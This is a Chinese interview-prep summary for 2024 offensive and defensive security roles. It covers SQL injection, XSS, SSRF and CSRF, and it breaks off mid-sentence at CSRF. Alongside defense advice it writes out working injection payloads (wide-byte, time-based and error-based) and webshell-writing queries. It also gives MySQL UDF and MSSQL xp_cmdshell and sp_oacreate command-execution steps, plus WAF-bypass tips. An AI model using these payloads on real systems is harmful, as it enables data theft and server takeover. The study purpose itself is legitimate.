2024护网热门面试题总结(精华版)
面经总结
web漏洞篇
SQL注入
SQL注入原理
web应用对用户输入的数据没有过滤或者过滤不严谨,并且把用户输入的语句当做sql语句带入到数据中执行
SQL注入有哪几种注入类型?
从注入参数类型分:数字型、字符型、搜索性
从注入方法分:联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入
从提交方式分:GET、POST型、COOKIE型、HTTP头型、XFF头型
sql注入详解
MySQL5.0及以上和5.0以下有什么区别?
-
mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做information_schema,而5.0以下的版本不存在,不能查表名,只能暴力跑表。
information_schema下面又包含了这几张表:schemata、tables、columns。这三张表依次分别存放着字段:(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)
select group_concat(table_name) from information_schema.tables where table_schema=database();
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ;
-
5.0以上是多用户多操作,5.0以下是多用户单操作
mysql一个@和两个@有什么区别?
一个@是用户自定义变量,两个@是系统变量,如@@version,@@user
sql注入常用函数
database() 返回当前数据库名 user() 返回当前数据库用户名 updatexml() 更新xml文档,常用于报错注入 mid() 从指定字段中提取出字段的内容 limit() 返回结果中的前几条数据或者中间的数据 concat() 返回参数产生的字符串 group_concat() 分组拼接函数 count() 返回指定参数的数目 rand() 参数0~1个随机数 flood() 向下取整 substr() 截取字符串 ascii() 返回字符串的ascii码 left() 返回字符串最左边指定个数的字符 ord() 返回字符的ascii码 length() 返回字符串长度 sleep() 延时函数
等价函数绕过,反之亦可:
group_concat ( ) ==> concat_ws( ) sleep( ) ==> benchmark()、getlock() mid ( )、substr( ) ==> substring( ) user() ==> @@user updatexml( ) ==> extractvalue()、floor()、exp()
常用编码:
0x27 == ' == %27 0x23 == # == %23 0x7e == ~ == %7e 0x5c == / == %5c 0xdf /
什么是宽字节注入,如何操作?
宽字节注入:
当php开启gpc或者使⽤addslashes函数时,单引号'被加上反斜杠',其中\的URL编码为%5C,我们传⼊%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql⽤GBK编码时会认为%df%5C是个宽字符縗,于是%df%5C'便等价于縗',单引号得以逃逸出来,产⽣注⼊。
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
防范措施:
防范措施:预编译、参数化查询、统一字符编码方式
如果
magic_quotes_gpc=On
,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。
什么是二次注入?
参数传入的恶意数据在传入时被转义,但是在数据库处理时又被还原并存储在数据库中,导致二次注入。 举例: 注册用户名admin'#用户,传入值为admin'#,但是在存储数据库时值变为admin'#,此时若修改密码为123456,管理员admin密码就被修改为123456
sleep函数禁用后怎么进行sql注入
BENCHMARK、Get_lock函数,当都被禁用后可以使用计算量比较大的语句让数据库的查询时间边长,从而达到延时注入的效果。
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(100000 00,md5(0x41))),1) --+
AND (SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.SCHEMATA C);
id=1 and if(ascii(substring((database()),1,1))=115,(select get_lock('mylock',10)),1) --+
(select benchmark(10000000,md5(0x41)))
:如果上述条件为真(即数据库名以's'开头),则执行这个子查询。这里使用的benchmark
函数是MySQL的一个功能,它重复执行一个表达式指定次数(这里是10000000次),用于测量表达式的性能。这里的表达式是md5(0x41)
,即计算字符'A'的MD5哈希值。执行这一重复操作通常会导致数据库响应变慢,从而可以被攻击者用来推断条件表达式的结果
(select get_lock('mylock',10))
:如果上述条件为真,则执行这个子查询。get_lock('mylock',10)
函数尝试获取一个名为 'mylock' 的锁,并最多等待 10 秒来获得这个锁。如果锁被成功获取,该函数返回 1;如果在指定时间内未能获取锁,则返回 0。这个函数的调用会导致查询在获得锁或超时前暂停执行,从而可以通过观察查询延迟来推断条件的结果。
有一个MYSQL时间盲注,有没有更快的获得数据的方法,禁止使用工具和脚本?
二分法加速 与运算加速 二进制延时注入加速 dnslog OOB外带通信
报错注入的函数
floor()
floor函数在SQL函数中用于向下取整,即将一个数值向下取整到最接近的整数
?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
extravalue()
?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+
updatexml()
?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
exp()
SQL注入写shell的条件、用法
条件:
当前用户具有dba权限 找到网站绝对路径 网站有可写目录 mysql的配置secure_file_priv为空
用法:
mysql
id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23
sqlserver:
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --
sql注入常见绕WAF方法?
内联注释绕过 填充大量脏数据绕过垃圾参数填充绕过 改变提交方式绕过,如GET方式变为POST方式 提交随机agent头绕过 fuzz过滤函数,函数替换绕过
SQL注入防护
1、参数化查询
参数化查询的工作原理是将 SQL 语句的结构与其使用的数据分开。当数据库服务器接收到一个参数化的查询时,它首先编译 SQL 语句,确定其结构,然后独立于其结构处理每个参数的值。这意味着,即使参数的值包含了可能会改变查询结构的 SQL 关键字或特殊字符,这些值也只会被视为数据,而不是 SQL 代码的一部分
使用参数占位符,确保传入的参数值不会被解析为SQL语句的一部分
确保语句是语句,参数是参数,即使参数中是sql语句,也只是普通字符串数据,不会影响查询的结构
2、使用预编译语句
预编译语句允许应用程序预先编译 SQL 语句,然后再向编译好的语句中插入或修改参数值
3、限制数据库权限
最小权限原则
4、前后端输入验证
对输⼊的特殊字符进⾏Escape 转义处理
正则化匹配过滤关键字 ,对特殊字符进行过滤、转义、替换、删除
限制输入数据的类型、格式和长度
5、关闭报错信息
6、规范编码、字符集
7、WAF
Sqlmap -v 参数是什么意思?
使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
等级 | 解释 |
---|---|
0 | 只显示python错误以及严重信息 |
1 | 同时显示基本信息和警告信息 |
2 | 同时显示debug信息 |
3 | 同时显示注入的pyload |
4 | 同时显示HTTP请求 |
5 | 同时显示HTTP相应头 |
6 | 同时显示HTTP相应页面 |
各参数详解:
-u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --batch 自动选择yes --smart 启发式快速判断,节约浪费时间 --forms 尝试使用post注入 -r 加载文件中的HTTP请求(本地保存的请求包txt文件) -l 加载文件中的HTTP请求(本地保存的请求包日志文件) -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试 -o 开启所有默认性能优化 --tamper 调用脚本进行注入 -v 指定sqlmap的回显等级 --delay 设置多久访问一次 --os-shell 获取主机shell,一般不太好用,因为没权限 -m 批量操作 -c 指定配置文件,会按照该配置文件执行动作 -data data指定的数据会当做post数据提交 -timeout 设定超时时间 --level 设置注入探测等级 级别越高发送的请求越多 level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5 --risk 风险等级 默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险 --identify-waf 检测防火墙类型 --param-del="分割符" 设置参数的分割符 --skip-urlencode 不进行url编码 --keep-alive 设置持久连接,加快探测速度 --null-connection 检索没有body响应的内容,多用于盲注 --thread 最大为10 设置多线程
Mysql提权方法
Mysql_UDF提权
利用了root高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出udf.dll文件后,我们就可以直接在命令框中输入cmd
select unhex('udf.dll hex code') into
dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
限制条件:
MySQL 数据库没有开启安全模式(确认secure_file_priv=是否为NULL)
已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限
shell有写入到数据库安装目录的权限
Mysql_MOF提权
MOF提权是一个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果 MySQL有权限操作 mof 目录的话,就可以来执行任意命令了
Mssql提权方法
xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
前提:
-
getshell或者存在sql注入并且能够执行命令。
-
sql server是system权限,sql server默认就是system权限
启用xp_cmdshell
EXEC master..sp_configure 'show advanced options',
1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',
1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'
sp_oacreate提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权,
前提:
需要同时具备sp_oacreate和sp_oamethod两个功能组件
开启组件
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH
OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',
1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行系统命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
whoami'
通过沙盒执行命令
# 开启沙盒
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM
ode','REG_DWORD',1
# 利用jet.oledb执行命令
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32
\ias\dnary.mdb','select shell("whoami")')
通过Agent Job执行命令
修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线
XSS
XSS分类:
反射型、存储型、DOM型
XSS攻击方式:
-
盗取用户cookie
-
蠕虫攻击
-
恶意弹窗
XSS绕过策略:
大小写混写、双写、编码、组合平凑、替换
XSS过滤<怎么绕过?
XSS防护:
-
htmlspecialchars()
将预定义字符转为html实体
-
开启Http-only,禁止js读取cookie信息
-
输入验证,正则化匹配
SSRF
ssrf原理:
服务器允许向其他服务器获取资源,但是并没有对地址做严格的过滤和限制,导致攻击者可以向受害者服务器传入任意的url,地址,并将数据返回
ssrf危害:
端口探测、敏感信息泄露等,最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网
ssrf防护:
从以上我们可以得出,该漏洞产生的原因是由于服务端对资源进行请求的时候对URL的验证出现了纰漏,所以我们的防护策略主要是围绕URL的过滤。 1、将URL进行解析转化成IP,并使用正则表达式表示内网网址,并以此进行URL过滤。 2、建立URL白名单,只允许白名单上内容通过过滤。 3、建立内网P黑名单,阻止对该IP的请求。 4、对返回内容进行过滤,减少敏感内容暴露。 5、禁止不需要的协议,只允许http和https协议的请求,减少file等协议的问题。
CSRF
csrf成功利用的条件:
用户在统一浏览器下,没有关闭浏览器,访问了攻击者精心伪装好的